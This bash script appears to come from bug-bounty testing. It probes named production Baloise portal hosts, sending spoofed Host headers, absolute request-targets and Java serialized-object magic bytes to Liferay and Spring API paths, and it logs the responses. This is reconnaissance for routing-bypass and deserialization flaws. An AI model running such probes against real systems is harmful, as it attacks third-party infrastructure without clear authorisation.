#!/usr/bin/env bash
set -euo pipefail
out=work/scratch/liferay-critical/absolute-authority-matrix.jsonl
: > "$out"
connect=infoportal.baloise.de
hosts=(infoportal.baloise.de mein-portal-registrierung.baloise.de mein-portal.baloise.de maklerportal.baloise.de)
auths=(infoportal.baloise.de mein-portal-registrierung.baloise.de)
paths=(/api/spring/portal /api/liferay/do)
for hh in "${hosts[@]}"; do
  for aa in "${auths[@]}"; do
    for pp in "${paths[@]}"; do
      hdr=$(mktemp); body=$(mktemp); err=$(mktemp)
      target="https://${aa}${pp}"
      set +e
      curl -sk --http1.1 --max-time 12 --request-target "$target" \
        -X POST "https://${connect}/" \
        -H "Host: ${hh}" -H 'X-Bug-Bounty: dwbzn' \
        -H 'Content-Type: application/x-java-serialized-object' \
        --data-binary $'\xac\xed\x00\x05' -D "$hdr" -o "$body" 2>"$err"
      rc=$?
      set -e
      status=$(awk 'toupper($1) ~ /^HTTP\// {s=$2} END{print s+0}' "$hdr")
      loc=$(awk 'BEGIN{IGNORECASE=1} /^location:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
      ctype=$(awk 'BEGIN{IGNORECASE=1} /^content-type:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
      bytes=$(wc -c < "$body")
      preview=$(head -c 180 "$body" | tr '\r\n' '  ')
      xid=$(grep -Eo 'exchange [0-9a-f-]+' "$err" | tail -1 | awk '{print $2}')
      jq -nc --arg connect "$connect" --arg host "$hh" --arg target "$target" --argjson rc "$rc" --argjson status "$status" --arg location "$loc" --arg ctype "$ctype" --argjson bytes "$bytes" --arg preview "$preview" --arg exchange "$xid" '{connect:$connect,host:$host,request_target:$target,rc:$rc,status:$status,location:$location,content_type:$ctype,bytes:$bytes,preview:$preview,exchange:$exchange}' >> "$out"
      rm -f "$hdr" "$body" "$err"
    done
  done
done
jq -r '[.status,.bytes,.host,.request_target,.location,.exchange] | @tsv' "$out"
